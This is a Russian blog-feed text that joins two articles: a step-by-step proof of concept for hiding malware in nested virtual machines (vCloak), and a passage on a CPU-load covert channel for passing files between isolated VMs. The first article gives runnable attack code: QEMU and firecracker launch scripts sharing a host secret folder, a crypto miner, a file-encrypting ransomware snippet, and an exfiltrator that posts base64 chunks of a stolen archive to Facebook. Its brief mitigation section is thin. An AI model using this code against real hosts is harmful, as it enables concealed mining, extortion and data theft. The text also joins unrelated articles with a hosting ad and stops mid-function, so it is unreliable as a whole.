  • Драйверы и совместное использование (Рисунок 5, Круг #1):
  • Мгновенные снимки (Рисунок 5, Круг #2):
  • Побег из песочницы (Рисунок 5, Круг #3):
  • Типы уязвимостей:


Виртуализуй и атакуй


Многие базовые принципы, благодаря которым виртуализация оказывается столь эффективным и универсальным защитным подходом, можно превратить в оружие. Сама идея не нова, исследования подобных угроз уже производились. Можно упомянуть программу Bashware, показавшую, как WSL (виртуализованное решение для выполнения подсистемы Linux под Windows) может быть взято на вооружение для сокрытия вредоносов от всех современных защитных механизмов.

14 мая 2020 года эта теория как следует подтвердилась на практике, когда новости заполонили сообщения о новом штамме-вымогателе под названием RagnarLocker. Его жертвами стали крупные компании, работающие в сфере игр, энергетики и алкоголя. Небольшой VirtualBox, доверенный и снабженный цифровой подписью, выполнял маленькую виртуальную машину Windows XP (менее 500 мб), что позволяло ему тайно зашифровать и выудить данные с машины жертвы. Позже в том же году почти такая же стратегия была применена картелем Maze.

Во всех атаках, рассмотренных выше, использовался VirtualBox,и в качестве контейнера для вредоносов он довольно тяжеловесен. Кроме того, он не опирается на преимущества виртуализации с аппаратной поддержкой. Прежде, чем углубиться в тему, давайте подробнее рассмотрим, какими качественными аспектами виртуализации может воспользоваться злоумышленник:

  • Доверенный гипервизор если гипервизор является доверенным, то выполняющий его гость также является доверенным
  • Бэкдор злоупотребляя доверительным статусом, который дает гипервизор, можно скомпрометировать данные хоста, поделившись файлами, каналами данных или совместно используя уязвимости гипервизора
  • Практическая невидимость современные механизмы защиты не видят внутреннего состояния VM
  • Присущее технологии закрепление SSL-сертификата на сертификаты MicroVM не влияет конфигурация хоста, и они скрыты от нее (поэтому они ускользают от анализа трафика с применением SSL MITM)
  • Присущее технологии камуфлирование вся ОС выглядит как единственный процесс, поэтому заглянуть внутрь виртуальной машины затруднительно даже с благими намерениями, тем более, что эту маскировку можно даже усилить
  • Полностью контролируется атакующим упрощает разработку, поскольку полезная нагрузка подразумевает высокие привилегии
  • Портируемость высокая портируемость, поскольку вся полезная нагрузка действует поверх виртуализованного самодостаточного окружения
  • Персистентность планировщики операционной системы могут поднимать виртуальные машины, и состояние можно с легкостью сохранять (ShadowBunny)
  • Эффект неожиданности такой вектор атаки до сих пор воспринимается в новинку, и пока не очень хорошо исследован

При крупном вторжении от виртуализации одна польза. Предложения можно суммировать в виде доверенной единицы выполнения и осуществлять с их помощью операции, в ином контексте вызывавшие бы подозрения, например, без лишнего шума выполнять вредоносный код и красть данные. Такие выгоды сохраняются потому, что технология виртуализации по-прежнему достаточно нова, а такой темный аспект виртуализации пока не получает должного внимания. Как было упомянуто во введении к этому посту, здесь мы попытаемся подсказать вам информацию и инструменты, позволяющие защититься от таких угроз. Для этого рассмотрим проблему с точки злоумышленника и пошагово разработаем доказательство осуществимости такого вторжения через виртуализацию.

Виртуализация с аппаратной поддержкой и KVM


Диверсионный функционал в нашем учебном проекте реализуется во многом при помощи гипервизора, находящегося как в пространстве ядра, так и в пользовательском пространстве. В этом исследовании мы экспериментировали с некоторыми свободными реализациями; подробный анализ их внутреннего устройства выходит за рамки этого поста.

Проще говоря, виртуализация с аппаратной поддержкой возможна благодаря двум дополнительным режимам работы процессора (привилегии администратора для VMM и их отсутствия для гостя), а также особым инструкциям Intel, написанным на ассемблере (для эффективного перехвата), которые в большинстве своем выполняются ядром. Вот несколько примеров:

Режим администратора

  • VMXOFF, VMXON
  • VMWRITE и VMREAD

Непривилегированный (гостевой) режим

  • VMLUANCH и VMRESUME

VMLUANCH устроен немного иначе, так как может выполняться с гостевой VM, чтобы уступать контроль ядру, либо переключаясь на ядро при помощи прерывания (о чем мы уже говорили во введении) или VMEXIT. Задача его напарника из пользовательского пространства выделять все структуры памяти, определять обработчики VMEXIT в соответствии с различными нуждами VMEXIT и прикреплять другие эмулированные/виртуализованные ресурсы.

К счастью, для тех, кто не хочет все строить с нуля, в современном ядре Linux поддерживается KVM (kvm.ko); этот модуль ядра фактически превращает ядро Linux в гипервизор. KVM предоставляет возможности Intel VT-x через интерфейс ioctl (2). Также KVM активно использует встроенные возможности ядра Linux для управления песочницами, которые (в усиленной версии) более известны как виртуальные машины.

История атаки


Такая атака подразумевает привилегированное использование скомпрометированной хост-машины с Ubuntu, на которой включена функция VT-x. Атака использует вредоносные информационные нагрузки (майнеры и вымогатели), незаметно выполняясь на скомпрометированном хосте, прикрытая самодельной виртуальной маскировкой (Рисунок 6)

  1. Привилегированный процесс ветвит и распаковывает vCloak1 в дочерний процесс (предполагается)
  2. vCloak1 конфигурирует и выполняет уровень (L1) нашего камуфляжа, виртуальную машину Ubuntu Minimal на QEMU.
  3. Из Ubuntu vCloak2 конфигурирует и выполняет уровень 2 (L2) нашего камуфляжа, это три приложения OSv (будет объяснено ниже):


Время засучить рукава! Для большей удобочитаемости мы пропустим некоторые фрагменты кода, а другие подробно разберем.Приглашаем вас полностью исследовать код к этой реализации, а также связанные с ним инструменты и информацию; все это лежит в репозитории, ссылка на который дана ниже.



Рисунок 5: Ход атаки

Подготовка камуфляжа для уровня 1


Построим vCloak1, который позволит нам выполнить первый уровень нашей маскировки. Воспользуемся минимальной виртуальной машиной под Ubuntu (мы могли бы с тем же успехомскомпилировать Ubuntu для firecracker) с QEMU. Этот этап реализован при помощи vcloak1.sh, который автоматически выполняется предположительно привилегированной точкой входа:

attacker@host:~$ git clone https://github.com/ch-mk/vCloak.gitattacker@host:~$ cd PoCattacker@host:~/PoC$ cat vcloak1.sh# запускаем демон virtio, чтобы предоставить файлы хостаvirtiofsd --socket-path=/var/run/vm001-vhost-fs.sock -o source=/root/supersecret \ # запускаем минимальный образ Ubuntuqemu-system-x86_64 \-chardev socket,id=char0,path=/var/run/vm001-vhost-fs.sock \-device vhost-user-fs-pci,chardev=char0,tag=myfs \-object memory-backend-memfd,id=mem,size=4G,share=on \-numa node,memdev=mem \attacker@host:~/PoC$ ./vcloak1.sh # фактическое выполнение осуществляется автоматически, привилегированной точкой входа


Листинг 1: Строим уровень 1 виртуального камуфляжа, минимальный вариант Ubuntu на QEMU с virtiofs

В этот момент мы достигли первой границы виртуализации. Как только vCloak1 закгрузится, он выполняет vCloak2, конфигурирующий и выполняющий второй уровень нашего камуфляжа.

Подготовка камуфляжа для уровня 2


vCloak2 выполняет ядро VT-x с минимальной системной обвязкой (Unikernel) изнутри виртуапьной машины. Таким образом, наша гостевая виртуальная машина с уровня 1 также должна поддерживать KVM и VT-x (это легко проверить; см. листинг 2), поэтому он может служить в качестве отдельной хост-машины. Такая рекурсивная возможность известна под названием Вложенная виртуализация.

attacker@vcloak1:~/PoC$ lsmod | grep kvm # требуется поддержка KVMkvm_intel 282624 0kvm 663552 1 kvm_intel

Листинг 2: Проверяем KVM и собираем уровень 2 нашего камуфляжа

Второй уровень нашего камуфляжа реализован в виде скрипта vcloak2.py, который автоматически выполняется задачей crontab. Он выполняет три разные виртуальные машины с технологией firecracker, которые могут коммуницировать через разделяемый сокет. На каждой VM выполняется ядро Unikernel, передаваемое в виде kernel.elf, с единственным процессом, выполняемым из корневой директории (/) файловой системы, передаваемой как fs.img. Чуть ниже мы объясним природу этих процессов, но пока просто опишем начальную настройку и выполнение типичной виртуальной машины с технологией firecracker.

attacker@vcloak1:~$ cat vcloak2.py # фактическое выполнение происходит автоматически при помощи crontabdef main(options):# Проверяем, установлен ли firecracker is installeddirname = os.path.dirname(os.path.abspath(__file__))firecracker_path = find_firecracker(dirname, options.arch)# Firecracker установлен, так что начнемprint_time(Start)socket_path = '/tmp/firecracker.socket'if options.api:firecracker = start_firecracker(firecracker_path, socket_path)# Готовим аргументы, которые будем передавать при создании инстанса виртуальной машиныkernel_path = options.kernelif not kernel_path:kernel_path = os.path.join(dirname, '../build/release/kernel.elf')qemu_disk_path = options.imageif not qemu_disk_path:qemu_disk_path = os.path.join(dirname, '../build/release/fs.img')raw_disk_path = disk_path(qemu_disk_path)cmdline = options.executeif not cmdline:with open(os.path.join(dirname, '../build/release/cmdline'), 'r') as f:cmdline = f.read()if options.arch == 'aarch64':cmdline = console=tty --disable_rofs_cache %s % cmdlineelse:cmdline = --nopci %s % cmdlineclient.configure_machine(options.vcpus, memory_in_mb)print_time(Configured VM)client.add_disk(raw_disk_path)print_time(Added disk)if options.networking:client.add_network_interface('eth0', 'fc_tap0')client.create_instance(kernel_path, cmdline)print_time(Created OSv VM with cmdline: %s % cmdline)if not options.api:if options.verbose:print(client.firecracker_config_json())firecracker, config_file_path = start_firecracker_with_no_api(firecracker_path, client.firecracker_config_json())else:client.start_instance()print_time(Booted OSv VM)attacker@vcloak1:~$ python vcloak2.py # actual execution is automatic by crontabattacker@vcloak1:~$ sudo apt update

Листинг 3: vcloak2.py выполняет три контейнера VT-x

Пока все нормально, но что же выполняют эти инстансы firecracker? Для затравки в истории об атаке уже упоминалось, что они выполняют приложения OSv. OSv это свободное универсальное модульное ядро вида unikernel, рассчитанное на безопасную поддержку единичногонемодифицированного приложения Linux в виде microVM поверх гипервизора, в результате чего получается минимальное ядро, совместимое с Linux на уровне двоичного кода.Такие решения как OSv это, по сравнению с MicroVM, уже следующий шаг на пути к минимализму; когда по ядру unikernel создается на каждое приложение, получается приложение OSv с ядром, ужатым до сухого остатка.

Рассмотрим, как просто собрать приложение OSv из нативного кода на C++:

attacker@vcloak1:~$ sudo apt updateattacker@vcloak1:~$ sudo apt install git make build-essential libboost-system-dev qemu-system-x86 qemu-utils openjdk-8-jdk maven pax-utils python python-devattacker@vcloak1:~$ git clone https://github.com/cloudius-systems/osv.git #clone git repositoryattacker@vcloak1:~$ cd osvattacker@vcloak1:~/osv$ git submodule update --init recursive # install # install examples and other dependenciesattacker@vcloak1:~/osv$ ls -l apps/native-example/ #checkout hello world apptotal 40-rwxrwxr-x 1 mc mc 16696 Dec 30 09:29 hello-rw-rw-r-- 1 mc mc 77 Dec 30 09:20 hello.c-rw-rw-r-- 1 mc mc 150 Dec 30 09:20 Makefile-rw-rw-r-- 1 mc mc 57 Dec 31 00:09 module.py-rw-rw-r-- 1 mc mc 49 Dec 30 09:20 README-rw-rw-r-- 1 mc mc 28 Dec 30 09:20 usr.manifestattacker@vcloak1:~/osv$ cat apps/native-example/hello.c #checkout actual c code#includeint main(){printf(Hello from C code\n);return 0;}attacker@vcloak1:~/osv$ ./scripts/build image=native-example #lets wrap out app with OSv unikernelattacker@vcloak1:~/osv$ ./scripts/run.py #execute latest OSv buildOSv v0.55.0-157-g0cf6acc7eth0: 192.168.122.15Booted up in 0.00 msCmdline: /helloHello from C code

Листинг 4: Сборка и запуск простой программы на C, где OSv служит оберткой

Аналогично, можно собрать приложение OSv и на Python:

In a very similar way we can build an OSv app with python:attacker@vcloak1:~/osv$ ./scripts/build image=python2xattacker@vcloak1:~/osv$ ./scripts/run.pyOSv v0.55.0-157-g0cf6acc7eth0: 192.168.122.15Booted up in 0.00 msCmdline: /pythonPython 2.7.18 (default, Aug 4 2020, 11:16:42)[GCC 9.3.0] on linux2Type help, copyright, credits or license for more information.>>>


Листинг 5: Собираем и запускаем простую программу на python с OSv в качестве обертки

Как было кратко продемонстрировано выше, OSv это мощный и легкий способ превращать обычные приложения в приложения Unikernel. В комбинации с микро-виртуальной машиной, например, с Firecracker (или даже с еще более мелкими вариантами аппаратной виртуализации), создается минимальная и при этом высокопроизводительная виртуализованная полезная нагрузка. Подробнее об этом отличном продукте рассказано на странице OSv в GitHub. На данном этапе все, что нам остается доделать написать нужный код на python для каждого из трех приложений OSv, как мы и обещали.


Рисунок 6: Вложенная виртуализация порой бывает немного запутанной

Вложенная виртуализация


Мы рассмотрели, как уровень за уровнем создавался наш камуфляж, и проследили развертывание вредоносного ПО от первого привилегированного выполнения до создания множества минимальных ядер Unikernel, образующих второй уровень нашего камуфляжа. Эти ядра Unikernel (уровень 2) виртуализованы с применением VT-x, KVM и firecracker поверх другой виртуальной машины с Ubuntu (уровень 1), хотя, firecracker также может использоваться на этом уровне.

Такое зачаточное состояние достижимо благодаря вложенной виртуализации возможности, поддерживаемой KVM. Такая виртуализация позволяет гостевой машине выступать в качестве хост-машины. В этой статье я весьма вольно употреблял термин уровень камуфляжа, поэтому смысл данного термина, возможно, будет понятнее, е6сли сравнить его с терминами KVM для описания вложенной виртуализации (т.e., L1 это виртуальная машина, исполняемая с физического хоста; L2 это виртуальная машина, выполняемая с гостевой машины L1).

Создание майнера


В ходе описываемых исследований предпринималось множество попыток маскировки, создавались как опенсорсные майнеры, пригодные для реального использования, так и минималистичные инструменты такого рода, которые могут послужить только в качестве доказательства осуществимости. Для простоты картины быстро презентуем опенсорсный майнер, разработанный subhan-nadeem:

attacker@vcloak1:~/osv$ cat apps/python-miner/miner.py # выполнение происходит автоматическиimport hashlibdef get_sha_256_hash(input_value):return hashlib.sha256(input_value).hexdigest()def block_hash_less_than_target(block_hash, given_target):return int(block_hash, 16) < int(given_target, 16)# данные о первичном блоке (корень дерева Меркла, описывающего транзакции, метка времени, версия клиента, хеш предыдущего блока)blockData = \'01000000000000000000000000000000000000000000000000000000000000000000000' \'03ba3edfd7a7b12b27ac72c3e67768f617fc81bc3888a51323a9fb8aa4b1e5e4a29ab5f' \'49ffff001d1dac2b7c01010000000100000000000000000000000000000000000000000' \'00000000000000000000000ffffffff4d04ffff001d0104455468652054696d65732030' \'332f4a616e2f32303039204368616e63656c6c6f72206f6e20627266e6b206f66207365' \'636f6e64206261696c6f757420666f722062616e6b73ffffffff0100f2052a010000004' \'34104678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649' \'f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5fac00000000' \.encode()# Исходная цель  так будет проще всего, если я когда-нибудь соберусь намайнить блок биткойнаtarget = '0x00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'solution_found = Falseblock_data_hexadecimal_value = int(blockData, 16)nonce = 0while not solution_found:block_data_with_nonce = block_data_hexadecimal_value + nonce# Найти двойной хешfirst_hash = get_sha_256_hash(hex(block_data_with_nonce).encode())second_hash = get_sha_256_hash(first_hash.encode())print('Nonce: ' + str(nonce))print('Block hash:')print(second_hash)print('Is the block hash less than the target?')solution_found = block_hash_less_than_target(second_hash, target)print(solution_found)if not solution_found:nonce += 1


Листинг 6: Фрагменты кода из майнера

Создаем код вымогателя

Точно, как и в случае майнеров, на роль вымогателей было протестировано много решений. Но ради ясности мы рассмотрим PoC-версию вымогателя под авторством guihermej:

attacker@vcloak1:~/osv$ cat apps/python-ransom/ransom.py # выполнение происходит автоматически# Открыть файлfile_name = foto.jpgfile = open(file_name, rb)file_data = file.read()file.close()# Удалить файл#os.remove(file_name)# Зашифровать данные файла (при помощи AES)key = 0123456789abcdef # 16-байтный ключ  замена для вашего ключаaes = pyaes.AESModeOfOperationCTR(key)crypto_data = aes.encrypt(file_data)# Сохранить файлnew_file_name = file_name + .pyransom # Путь, чтобы сбросить файлnew_file = open(new_file_name, 'wb')new_file.write(crypto_data)new_file.close()


Листинг 7: Фрагменты кода из вымогателя

Создание извлекателя


Задача этого компонента проста. Он слушает ввод, поступающий либо от майнера, либо от вымогателя, после чего в безопасном виде отсылает его доверенным API (напр., Facebook). В данной части мы получаем так называемое свободное закрепление SSL-сертификата. Опять же, стоящие перед нами задачи мы решим, воспользовавшись силой опенсорса. На этот раз мы базируем наш код на проекте с GitHub от zone13.

attacker@vcloak1:~$ cat apps/python-ransom/ransom.py # выполнение происходит автоматическиimport facebook, time, base64, textwrapdef main():cfg = {# Заполняем идентификатор страницы и обращаемся к токену, приведенному нижеpage_id : ,access_token : }api = get_api(cfg)# Считываем zip-файл как двоичные данные и зашифровываем их при помощи base-64msg = file_read_into_array()# Вычисляем, сколько постов нужно сделатьchunks = (len(msg) / float(50000))if isinstance(chunks, float) or (a == 0):chunks = int(chunks) + 1# Дробим данные base-64 на фрагменты по 50 000 символов каждыйfile_array = textwrap.wrap(msg, 50000)# Публикуем данные на странице Facebookfor i in range(chunks):status = api.put_wall_post(Part#### + str(i) +   + file_array[i])time.sleep(0.5)# Функция для чтения zip-файла и кодировки base-64def file_read_into_array():with open(secret.zip, rb) as f:a = f.read()encoded_data = base64.encodestring(a)return encoded_data# Основная функция для публикации данных на Facebookdef get_api(cfg):graph = facebook.GraphAPI(cfg['access_token'])resp = graph.get_object('me/accounts')page_access_token = Nonefor page in resp['data']:if page['id'] == cfg['page_id']:page_access_token = page['access_token']graph = facebook.GraphAPI(page_access_token)return graphif __name__ == __main__:main()

Листинг 8: Фрагменты кода Извлекателя

Повторение и анализ


Повторим, что нам удалось. В качестве доказательства осуществимости мы написали вредоносный код, который майнит, шифрует и выуживает данные из пораженного хоста. Первичная полезная нагрузка образует первый уровень камуфляжа (или виртуализации) при помощи микро-виртуальной машины на основе Ubuntu, которой, предположительно, доверяет хост.

Отсюда и в дальнейшем память всех различных процессов будет представлена как единый сплющенный двоичный блоб. Все вызовы API и экосистема ОС, заключенные в MicroVM, извне невидимы. На сертификатах MicroVM не отражается конфигурация хоста, эти сертификаты скрыты от хоста (в частности, это позволяет спрятаться от инструментов анализа трафика, воспользовавшись защитой SSL MITM).


Рисунок 7: Программный стек vCloak; цветными линиями обозначены границы отдельных областей виртуализации

Как только MicroVM завершит процесс загрузки, она загрузит три разных ядра Unikernel, основанных на VT-x и Firecracker, и в этих ядрах будет содержаться вредоносная логика. При помощи таких Unikernel-ядер в модель памяти вносится еще один уровень хаоса, не только потому, что здесь добавляется еще один слой виртуализации, но и потому, что у ядра Unikernel пространство пользователя и пространство ядра не отделены друг от друга. Из-за всего этого коверкания серьезно усложняется работа оператора первой хост-машины, который обнаружил первый слой камуфляжа и хочет обратить вспять его логику.

Получившееся в результате многоуровневое замаскированное вредоносное ПО не только коварно как никогда, но и имеет минимальный размер, и поэтому отлично портируется. Поскольку виртуальная машина предоставляет все окружение, снижается вероятность отказа из-за вычислимости или проблем с зависимости.

Дальнейшие исследования и оптимизация



Рисунок 8: Таблица для самопроверки

В вышеприведенной таблице показаны различные приемы (столбцы с рисунка 9), организованные по признаку аспектов атаки и целесообразности того или иного вектора атаки (первая строка с рисунка 9). Приемы, рассмотренные в этой статье, перечислены в зеленых клетках, а другие ракурсы, также затронутые нами в ходе исследования в белых клетках. Прежде, чем мы попытаемся дать некоторые советы и завершить этот пост, давайте уделим внимание укреплению нашего вредоносного ПО с применением приемов, упомянутых в белых клетках вышеприведенной таблицы (рисунок 8).

  • Извлекатель для совместно используемой памяти можно настроить извлекатель так, чтобы он делился памятью с вредоносами и тем самым не так сильно светил разделяемые данные.
  • Извлекатель для совместно используемой сети в некоторых случаях бывает более рационально воровать данные через какой-нибудь сетевой протокол, поскольку за ним могут следить не столь пристально.
  • Вредоносы для промышленного использования мы экспериментировали с реальными вредоносами, например, xmrig и GonnaCry, и оба можно обернуть в виртуалку без труда.
  • Среда времени исполнения как vCloak1, так и vCloack2, могут быть представлены в виде минимальной VM, MicroVM, Unikernel или просто крошечного загружаемого ELF, если вложенная виртуализация не требуется. Весь этот уровень опционален.
  • Гипервизор пользовательского пространства На протяжении всего этого экскурса используется firecracker, но можно реализовать более компактный гипервизор для пользовательского пространства, чтобы еще сильнее ужать полезную нагрузку.
  • Гипервизор пространства ядра может быть подготовлена собственноручно сделанная альтернатива KVM, которая позволила бы ужать полезную нагрузку и расширить возможности блокировки, но это уже тема для отдельной статьи alternative can be produced to reduce payload size and add cloaking abilities.
  • Укрепление Можно сделать камуфляж еще эффективнее, воспользовавшись новыми возможностями, например, MAP_EXCLUSIVE, SGX или SVE\SME для более полного сокрытия памяти.
  • Расширенная область атаки на хост такими возможностями мы не пользуемся, поскольку их обсуждение выходит за рамки этой статьи. Правда, известны уязвимости, которые позволили бы сделать камуфляж еще эффективнее.

Наконец, нельзя не упомянуть: хотя это и не относится к целям данного исследования, выяснилось, что с гипервизорами тем более удобно работать, как эти программы популярны, в них известно много уязвимостей, а частота обновлений гипервизоров варьируется. Можно воспользоваться уязвимостями гипервизоров для повышения эффективности камуфляжа. Гонка между злоумышленниками и охранителями сетей бескомпромиссная и непрестанная. Надеемся, что информация, изложенная в этой статье, немного поможет читателям войти в тему.

Инструменты


Занимаясь исследованием виртуализации, я создал несколько инструментов, которые помогли мне в этих изысканиях:


Устранение угрозы


Вселенная виртуальных машин и операционных систем стремительно расширяется, новые программные и аппаратные возможности появляются одновременно. Исследование этих новых возможностей с точки зрения развертывания вредоносного ПО может помочь командам, занимающимся обеспечением информационной безопасности

Устранять некоторые вредоносные варианты поведения, замаскированные при помощи виртуализации, весьма сложно, поскольку в виртуализованном пространстве ничего не видно. Есть некоторые способы подсвечивать эти слепые пятна, но в настоящее время отсутствует стандартное или нативное решение такого рода. Правда, если исследовать всю цепь атаки, то можно обнаружить некоторые очень эффективные контрмеры, позволяющие противодействовать злонамеренной виртуализации.

Что можно сделать/доступные ресурсы:


Частично доступно или недоступно:

  • Видимость внутри состояния виртуальной машины
  • Создание монитора виртуальной машины
  • Выявление аномалий при потреблении ресурсов хоста виртуальной машиной

Заключение


Виртуализация это круто! На основании абстрагирования, обеспечиваемого при помощи виртуализации, построены многие инновационные вещи, в частности, облака, машины конечных точек и даже новейшие автомобили. Виртуализация усиливает производительность и безопасность вообще, но у нее есть и темная сторона. Как показали недавние реальные атаки, и как рассмотрено в этой статье, злоумышленник может обратить себе на пользу многие из возможностей виртуализации. Использование новейших технологий, в частности, VT-x и минималистичных песочниц, позволяет сделать виртуализацию еще более малозаметной.

Назначение vCloak послужить практичным введением в проблему того, как виртуализация может использоваться для незаметного внедрения вредоносного ПО, чтобы пользователи были осведомлены в угрозах такого рода и могли от них защититься.

Также в статье упомянуты некоторые методы устранения таких угроз, доступные сегодня, плюс решения, планируемые в будущем. Важная возможность, которую следовало бы реализовать, чтобы защита от вредоносной виртуализации стала более подъемной задачей повысить прозрачность процессов, творящихся в виртуальной машине, а также позаботиться об эффективной нейтрализации угроз. Индустрия киберзащиты развивается и идет в ногу с современными решениями для виртуализации, но сейчас самое время остерегаться подобных угроз и заблаговременно выстраивать защиту от них.



Облачные серверы от Маклауд быстрые и безопасные.

Зарегистрируйтесь по ссылке выше или кликнув на баннер и получите 10% скидку на первый месяц аренды сервера любой конфигурации!

Подробнее..

Передаём файл между изолированными виртуальными машинами без регистрации и СМС

01.06.2021 18:16:36 | Автор: admin

В интернете кто-то неправ

Не далее пяти дней назад на хабре появилась новость под заголовком "В Apple M1 нашли уязвимость M1RACLES возможна быстрая скрытая передача данных между приложениями". В одном предложении суть формулируется так: в Apple M1 нашли регистр, который кто угодно может читать и писать из непривилегированного режима. Значит, это можно использовать для обмена данными в обход механизмов межпроцессного взаимодействия, предоставленных ОС. Однако, сам автор эту особенность значимой уязвимостью не считает, о чём пишет в разъяснительном комментарии:

So what's the point of this website?
Poking fun at how ridiculous infosec clickbait vulnerability reporting has become lately. Just because it has a flashy website or it makes the news doesn't mean you need to care.

If you've read all the way to here, congratulations! You're one of the rare people who doesn't just retweet based on the page title :-)

But how are journalists supposed to know which bugs are bad and which bugs aren't?
Talk to people. In particular, talk to people other than the people who discovered the bug. The latter may or may not be honest about the real impact.

If you hear the words covert channel it's probably overhyped. Most of these come from paper mills who are endlessly recycling the same concept with approximately zero practical security impact. The titles are usually clickbait, and sometimes downright deceptive.

В комментариях к этой публикации развязалась умеренно оживлённая дискуссия о статусе находки: всё-таки серьёзная уязвимость или пустяк? Наряду с @SergeyMaxи @wataru я обратил внимание, что каналов скрытого обмена и так существует предостаточно просто потому, что исполняющая клиентский софт или виртуальные машины аппаратура является разделяемой средой, грамотная модуляция состояний которой делает возможным произвольный обмен данными вне зависимости от инвариантов нижележащей ОС или гипервизора. Противоположной точки зрения придерживаются почтенные господа @creker и @adjachenko, утверждая, что доселе известные побочные каналы качественно уступают возможностям M1RACLES.

Эта заметка является наглядной иллюстрацией к моему утверждению о легкодоступности скрытых каналов обмена. Я собрал простой PoC из ~500 строк на C++, при помощи которого был успешно отправлен файл из одной виртуальной машины в другую на том же физическом хосте. Далее я кратко описываю его устройство, пределы применимости, и привожу выводы и мнение самого автора M1RACLES в конце.

Я не являюсь специалистом по информационной безопасности, поэтому чрезмерно полагаться на мои собственные выводы в конце статьи не следует.

Передача

Повторю ключевой тезис для прозрачности: в общем случае, полная информационная изоляция исполняемых на едином аппаратном узле сред невозможна, потому что общая среда исполнения является разделяемым ресурсом, модуляция состояний которого может использоваться для построения каналов обмена данными. Гипервизоры, MMU, ОС, и прочие информационные барьеры могут лишь затруднить скрытый обмен данными, но не предотвратить его.

В случае M1RACLES, Apple случайно положила подходящий аппаратный ресурс на самое видное место. В других платформах общих регистров может не быть, но остаются другие средства. Сегодня мы сфокусируемся на вычислительных ресурсах процессора; любознательный читатель может в качестве факультатива слегка модифицировать код PoC, чтобы вместо процессорного времени модуляции подвергались, скажем, температура видеокарты, задержка доступа к файловой системе или RAM (забиванием кэша), и т.п.

Известная теория обработки сигналов предлагает метод кодовой модуляции, широко применяемый для широкополосной передачи через зашумлённую среду. Кодовая модуляция позволяет получателю вытянуть полезный сигнал из-под шумовой полки, если известна кодирующая последовательность; для остальных же наблюдателей (включая приёмники с другой кодирующей последовательностью) сигнал будет выглядеть как шум. Единая среда может поддерживать теоретически неограниченное количество передатчиков с разными кодирующими последовательностями при условии их достаточного различия.

Автор: Ivajkin Timofej (translated from the english wiki) - en.wikipedia.org, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=15444663Автор: Ivajkin Timofej (translated from the english wiki) - en.wikipedia.org, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=15444663

Мы будем передавать высокие уровни кодирующего сигнала повышая нагрузку на процессор, и наоборот:

void drivePHY(const bool level, const std::chrono::nanoseconds duration){    static auto deadline = std::chrono::steady_clock::now();    deadline += duration;  // Используем абсолютное время для предотвращения дрейфа фазы сигнала    if (level)  // Передаём высокий уровень высокой нагрузкой    {        std::atomic<bool> finish = false;        const auto loop = [&finish]() {            while (!finish) { }        };        static const auto thread_count = std::max<unsigned>(1, std::thread::hardware_concurrency());        std::vector<std::thread> pool;        for (auto i = 0U; i < (thread_count - 1); i++)        {            pool.emplace_back(loop);        }        while (std::chrono::steady_clock::now() < deadline) { }        finish = true;        for (auto& t : pool)        {            t.join();        }    }    else  // Низкий уровень -- низкой нагрузкой    {        std::this_thread::sleep_for(deadline - std::chrono::steady_clock::now());    }}

В примере мы нагружаем все ядра, что весьма расточительно. Можно нагружать лишь одно ядро, если ОС предоставляет API для задания CPU core affinity (macOS, насколько мне известно, не предоставляет), но это создаст трудности в преодолении барьеров виртуализации, потому что одно ядро внутри гипервизора может отображаться на другое физическое ядро хоста. Однако, если API для affinity есть, и нет нужды пробрасывать канал передачи между изолированными виртуальными средами, можно сделать так:

#include <pthread.h>  // -lpthreadcpu_set_t cpuset{};CPU_ZERO(&cpuset);CPU_SET(0, &cpuset);pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);

Как уже сказано, один бит передаётся прямым или инверсным кодом:

constexpr std::chrono::nanoseconds ChipPeriod{16'000'000};  // ок. 1...100 мсstd::bitset<CDMACodeLength> CDMACode("...");                // код пропущенvoid emitBit(const bool value){    for (auto i = 0U; i < CDMACode.size(); i++)    {        const bool bit = value ^ !CDMACode[i];        drivePHY(bit, ChipPeriod);    }}

Пакеты будем разделять девятью (или больше) нулевыми битами, а перед байтом данных будем отправлять один высокий бит, чтобы отличать его от разделителя пакетов (здесь есть простор для оптимизации):

void emitByte(const std::uint8_t data){    emitBit(1);   // Стартовый бит    auto i = 8U;  // Старший бит идёт первым    while (i --> 0)    {        emitBit((static_cast<std::uintmax_t>(data) & (1ULL << i)) != 0U);    }}void emitFrameDelimiter(){    for (auto i = 0U; i < 20; i++)  // не менее 9 нулевых битов    {        emitBit(0);    }}

Для обнаружения ошибок в конце каждого пакета добавим два байта обыкновенной CRC-16-CCITT:

void emitPacket(const std::vector<std::uint8_t>& data){    emitFrameDelimiter();    std::uint16_t crc = CRCInitial;    for (auto v : data)    {        emitByte(v);        crc = crcAdd(crc, v);    }    emitByte(static_cast<std::uint8_t>(crc >> 8U));    emitByte(static_cast<std::uint8_t>(crc >> 0U));    emitFrameDelimiter();}

Здесь у кого-то может возникнуть идея использовать традиционные коды Хэмминга для коррекции ошибок передачи, но у нас будет возможность разменивать пропускную способность канала на вероятность корректной передачи подстройкой длины кодирующей последовательности сам метод кодового разделения уже предоставляет средства коррекции ошибок на битовом уровне.

Приём

Если сигнал передаётся модуляцией нагрузки процессора, то на принимающей стороне мы можем оценить состояние среды передачи измеряя скорость каких-либо вычислений в быстром цикле. Например, можно инкрементировать счётчики. Создаваемые передатчиком флуктуации доступного процессорного времени затем извлекаются фильтром высоких частот, давая на выходе (сильно зашумлённый) сигнал:

bool readPHY(){    static auto deadline = std::chrono::steady_clock::now();  // См. заметку о дрейфе фазы    deadline += SampleDuration;    const auto started_at = std::chrono::steady_clock::now();    std::vector<std::int64_t> counters;    const auto loop = [&counters](std::uint32_t index) {        auto& cnt = counters.at(index);        while (std::chrono::steady_clock::now() < deadline)        {            cnt++;        }    };    static const auto thread_count = std::max<unsigned>(1, std::thread::hardware_concurrency());    if (thread_count > 1)    {        counters.resize(thread_count, 0);        std::vector<std::thread> pool;        for (auto i = 0U; i < thread_count; i++)        {            pool.emplace_back(loop, i);        }        for (auto& t : pool)        {            t.join();        }    }    else    {        counters.push_back(0);        loop(0);    }    const double elapsed_ns =        std::chrono::duration_cast<std::chrono::nanoseconds>(std::chrono::steady_clock::now() - started_at).count();    const double rate = double(std::accumulate(std::begin(counters), std::end(counters), 0)) / elapsed_ns;    static double rate_average = rate;    rate_average += (rate - rate_average) / PHYAveragingFactor;    return rate < 